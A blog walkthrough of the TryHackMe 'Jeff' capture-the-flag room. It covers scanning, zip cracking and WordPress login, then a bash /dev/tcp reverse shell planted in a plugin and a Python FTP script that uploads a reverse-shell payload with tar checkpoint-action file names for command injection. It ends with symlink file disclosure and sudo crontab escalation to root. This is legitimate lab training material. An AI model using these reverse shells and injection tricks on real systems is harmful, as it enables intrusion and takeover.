TryHackMe Jeff Writeup

Welcome back folks, In today’s TryHackMe writeup, I’m going to write the step-by-step solution on the Linux room, Jeff. It’s a HARD machine and I really mean it.

Machine Name: Jeff

OS: Linux
Difficulty: Hard
Created By: jb7815
Machine Link:


As always, I add the IP address to my hosts file and proceed for the namp scan. Nmap scan provided with following results:

Starting Nmap 7.80 ( ) at 2020-07-31 21:40 +03
NSE: Loaded 151 scripts for scanning.
NSE: Script Pre-scanning.
Nmap scan report for jeff.thm (
Host is up (0.15s latency).
Not shown: 998 filtered ports
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 7e:43:5f:1e:58:a8:fc:c9:f7:fd:4b:40:0b:83:79:32 (RSA)
|   256 5c:79:92:dd:e9:d1:46:50:70:f0:34:62:26:f0:69:39 (ECDSA)
|_  256 ce:d9:82:2b:69:5f:82:d0:f5:5c:9b:3e:be:76:88:c3 (ED25519)
80/tcp open  http    nginx
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-title: Jeffs Portfolio

As Jeff is a Linux machine we see a limited number of ports are open, an SSH on PORT 22 and being a webserver the port 80 is open. Let us check the webserver and what it is serving.

The Website

There is a website (more likely a portfolio) running on the WebServer. There is nothing much on the site except a couple of pages with still not published and a link to YouTube video.

While checking the source-code I saw a pun by the developer.

<!-- You think I'm going to make it that easy? -->

By reading the information Jeff provided, I can see he’s in the process of upgrading the website to WordPress and there is a lot of development in the pipeline. I decided to run the FUZZ and see if I could get any subdirectories etc.

WFUZZ returns with some directories, but most of them are 301 – moved permanently.

While visiting those pages, I just got blank pages, so I decided to make deeper fuzzing on the directory level. As usual, the backup directory comes first, I used my favorite WFUZZ.

WFUZZ discovered a file backup – zip, let us download it and see.

We found the zip file is password protected, let us try to crack the password using, FCrackZIP – a handy utility to brute force cracking ZIP password.

The FCrackZip quickly cracked the password and I unzipped the contents to Jeff directory.

Among the unzipped files, I found some website related files and a backup file “wpadmin.bak”. While reading it, it contained Jeff’s WordPress password.

root@nav1n:~/thm/jeff/backup # ls
assets  index.html  wpadmin.bak
root@nav1n:~/thm/jeff/backup # cat wpadmin.bak 
wordpress password is: *********************                                                                                                                                                                                                    root@nav1n:~/thm/jeff/backup # 

So eventually, we got the valid credentials of Jeff and now we need to find the way to use it. The WordPress blogs are normally hosted like or We earlier didn’t find any WordPress blog in the fuzzing, so we need to see a vHost is present and Jeff hosted his WordPress there. So to find vHost I normally use WFUZZ but it’s too noisy and makes a lot of grabage, so I preferred slower GoBuster instead.

root@nav1n:~/thm/jeff # gobuster vhost -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://jeff.thm/ -t 100
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
[+] Url:          http://jeff.thm/
[+] Threads:      100
[+] Wordlist:     /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] User Agent:   gobuster/3.0.1
[+] Timeout:      10s
2020/07/31 22:39:37 Starting gobuster
Found: wordpress.jeff.thm (Status: 200) [Size: 25901]
Found: WordPress.jeff.thm (Status: 200) [Size: 25901]
Found: WordPress.jeff.thm (Status: 200) [Size: 25901]
2020/07/31 22:45:31 Finished
root@nav1n:~/thm/jeff # 

The GoBuster eventually found that the WordPress is hosted as http://wordpress.jeff.thm/. The WordPress blog didn’t load at first, I had to update my hosts file in order to get the site loaded.

And using the password found in the backup folder and user as Jeff, I logged into the WordPress dashboard successfully.

Getting Initial Shell

As I have access to the WordPress dashboard, I could run malicious script and get the reverse shell. To achieve that I need a stable shell script. I always prefer Pentest Monkey‘s reverse shell script. I’m going to use Bash reverse shell script.

exec("/bin/bash -c 'bash -i >& /dev/tcp/ 0>&1'");

I opened one of the plugins installed and add my reverse shell script at the bottom of the code and saves it. And then opened the Plugins page and activate the plugin. Meanwhile, I run the netcat listener which got activated and I have the reverse shell as www-data.

I went ahead and look inside the home directory to confirm if I’m inside the docker, the no users inside the home suggested I’m in fact inside the docker.

I started to enumerate the directories and I noticed an interesting PHP file inside the www/html directory called “ftp_backup.php”, upon reading I found credentials of the user “backupmgr”.

The FTPBackup Code:

www-data@Jeff:/var/www/html$ cat ftp_backup.php
cat ftp_backup.php
    Todo: I need to finish coding this database backup script.
	  also maybe convert it to a wordpress plugin in the future.
$dbFile = 'db_backup/backup.sql';
$ftpFile = 'backup.sql';

$username = "backupmgr";
$password = "****************";

$ftp = ftp_connect(""); // todo, set up /etc/hosts for the container host

if( ! ftp_login($ftp, $username, $password) ){
    die("FTP Login failed.");

$msg = "Upload failed";
if (ftp_put($ftp, $remote_file, $file, FTP_ASCII)) {
    $msg = "$file was uploaded.\n";

echo $msg;

As per the backup code, it says that it is used to upload a database backup to another server through FTP. I used the curl to confirm if there is an external server exists as per the code, and after running I got logged-in using the creds which confirmed the existence of the external server.

www-data@Jeff:/tmp$ curl -s -v 'ftp://backupmgr:S***********!@'
* Expire in 0 ms for 6 (transfer 0x5623770c7f50)
*   Trying
* Expire in 200 ms for 4 (transfer 0x5623770c7f50)
* Connected to ( port 21 (#0)
< 220 Welcome to Jeff's FTP service.
> USER backupmgr
< 331 Please specify the password.
> PASS S*************3!
< 230 Login successful.
< 257 "/" is the current directory
* Entry path is '/'
> EPRT |1||39235|
* ftp_perform ends with SECONDARY: 1
< 200 EPRT command successful. Consider using EPSV.
* Connect data stream actively
< 200 Switching to ASCII mode.
< 150 Here comes the directory listing.
* Maxdownload = -1
* Preparing for accepting server on data port
* Checking for server connect
* Ready to accept data connection from server
* Connection accepted from server
{ [63 bytes data]
* Remembering we are in dir ""
< 226 Directory send OK.
* Connection #0 to host left intact
drwxr-xr-x    2 1001     1001         4096 May 18 16:14 files

So, the plan is to upload a reverse shell script and get it executed when the backup job is done and get the reverse shell locally. However, the ftp server is only accessible from the internal network of Jeff machine.

After looking for different methods, I finally decided to make a Python script myself and import the shell script in to the Jeff and run it.

#!/usr/bin/env python3.7 
from ftplib import FTP 
import os
import fileinput
import io

host = ""
username = "backupmgr"
password = "***"

ftp = FTP(host=host)
login_status = ftp.login(user=username, passwd=password)

rev = io.BytesIO(b'python3 -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",9900));["/bin/sh","-i"]);\'')
emptyFile = io.BytesIO(b'')
                ftp.storlines('STOR', shell)
		ftp.storlines('STOR --checkpoint=1', emptyFile)
		ftp.storlines('STOR --checkpoint-action=exec=sh', emptyFile)
		print("[+] Success!")

print("[+] Closing FTP connection")

The Great Escape and Getting Shell As BackupMGR

As mentioned earlier, we are in the container, we can do very less, so the task is to escape from the container and become independent shell. So, the after importing and execute the Python script I got shell back as “BackupMGR” and we escaped from the docker container.

www-data@Jeff:/tmp$ wget
--2020-08-02 19:04:22--
Connecting to connected.
HTTP request sent, awaiting response... 200 OK
Length: 780 [text/plain]
Saving to: ''

     0K                                                       100% 94.2M=0s

2020-08-02 19:04:22 (94.2 MB/s) - '' saved [780/780]
www-data@Jeff:/tmp$ ./
230 Login successful.

Once I’m independent, I started to look for what Jeff has to offer. Before anything, I upgrade my simple shells to Fully Interactive TTY using:

python -c "import pty; pty.spawn('/bin/bash')"

Then, going through the local enum, I found the following files that Jeff has access to:


Looking further, I noticed the backup isn’t much helpful as Jeff only able to read it, the user PWMan is the owner of the file.

-rwxr-x--- 1 jeff pwman 43 May 11 15:14 /var/backups/jeff.bak

Going deeper, the /opt/systools/ has a file called message.txt:

$ cd /opt/systools
$ ls
$ cat message.txt
Jeff, you should login with your own account to view/change your password. I hope you haven't forgotten it.

The directory /opt/systools/ contains two files, message.txt and systool, the systool is an executable program. Running command ltrace shows me the selectable options of systool in which there is an option to restore password, I mean restoring the password of Jeff.

backupmgr@tryharder:~$ ltrace /opt/systools/systool
ltrace /opt/systools/systool
puts("Welcome to Jeffs System Administ"...Welcome to Jeffs System Administration tool.
)      = 45
puts("This is still a very beta versio"...This is still a very beta version and some things are not implemented yet.
)      = 75
puts("Please Select an option from bel"...Please Select an option from below.
)      = 36
puts("1 ) View process information."1 ) View process information.
)            = 30
puts("2 ) Restore your password."2 ) Restore your password.
)               = 27
puts("3 ) Exit "3 ) Exit 
)                                = 10
printf("Chose your option: ")                    = 19
fgets(Chose your option: 2
"2\n", 1024, 0x7f46074aaa00)               = 0x7ffd6aa45470
atoi(0x7ffd6aa45470, 0x7ffd6aa45470, 0x7f46074ac8d0, 10) = 2
fopen("message.txt", "r")                        = 0
puts("\n\nError opening file. Please che"...

Error opening file. Please check that it exists.

)    = 52
puts("1 ) View process information."1 ) View process information.
)            = 30
puts("2 ) Restore your password."2 ) Restore your password.
)               = 27
puts("3 ) Exit "3 ) Exit 
)                                = 10
printf("Chose your option: ")                    = 19
fgets(Chose your option: 3
"3\n", 1024, 0x7f46074aaa00)               = 0x7ffd6aa45470
atoi(0x7ffd6aa45470, 0x7ffd6aa45470, 0x7f46074ac8d0, 10) = 3
+++ exited (status 0) +++

The file message.txt is always read when the 2. What I did was remove the existing message.txt and replace it with a symbolic link to /var/backups/jeff.bak. And then execute the systool. The option 2 revealed the password of Jeff.

backupmgr@tryharder:~$ rm /opt/systools/message.txt
rm /opt/systools/message.txt
backupmgr@tryharder:~$ ln -s /var/backups/jeff.bak /opt/systools/message.txt
ln -s /var/backups/jeff.bak /opt/systools/message.txt
containerd  systools
backupmgr@tryharder:/opt$ cd systools
cd systools
backupmgr@tryharder:/opt/systools$ ./systool
Welcome to Jeffs System Administration tool.
This is still a very beta version and some things are not implemented yet.
Please Select an option from below.
1 ) View process information.
2 ) Restore your password.
3 ) Exit 
Chose your option: 2

Your Password is: ***-***-**-**-***-***- 

1 ) View process information.
2 ) Restore your password.
3 ) Exit 
Chose your option: 3

SSH As Jeff and Getting User flag

As I have the Jeff’s password, I SSH as Jeff and read the first flag. Btw, even after SSH the box, I was in a restricted rbash shell – this can be avoided or escaped with following command:

ssh jeff@jeff.thm -t “bash -l”

But, the Flag was in plain text and it wasn’t accepted, then I realized the hash normally in MD5 so converted it to MD5 and submit it successfully.


Running sudo -l I found Jeff is able to run Crontab with Sudo. I can abuse crontab -e so insert my code to run and execute it eventually.

jeff@tryharder:~$ /usr/bin/sudo -l
Matching Defaults entries for jeff on tryharder:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User jeff may run the following commands on tryharder:
    (ALL) /usr/bin/crontab

I made a reverse shell script and import to /tmp/ directory of Jeff. Then I created a cronjob:

/usr/bin/sudo /usr/bin/crontab -e

When the editor is executed, I update the cronjob with my command and saved it:

*/1 * * *  /usr/bin/sudo /usr/bin/bash /tmp/[my shell bash script]

And then run my listener and wait for a while like a minute and there it goes, I see a reverse shell opened as root in my listner.

That’s all folks, it was really a “HARD” machine with good learning. Thank you for your visit and reading.


Hey there, I'm Navin, a passionate Info-Sec enthusiast from Bahrain. I started this blog to share my knowledge. I usually write on HackTheBox machines and challenges, cybersecurity-related articles and bug-bounty. If you are an HTB user and like my articles, please respect here: Profile:

You may also like...

Notify of
Inline Feedbacks
View all comments
Sorry, that action is blocked.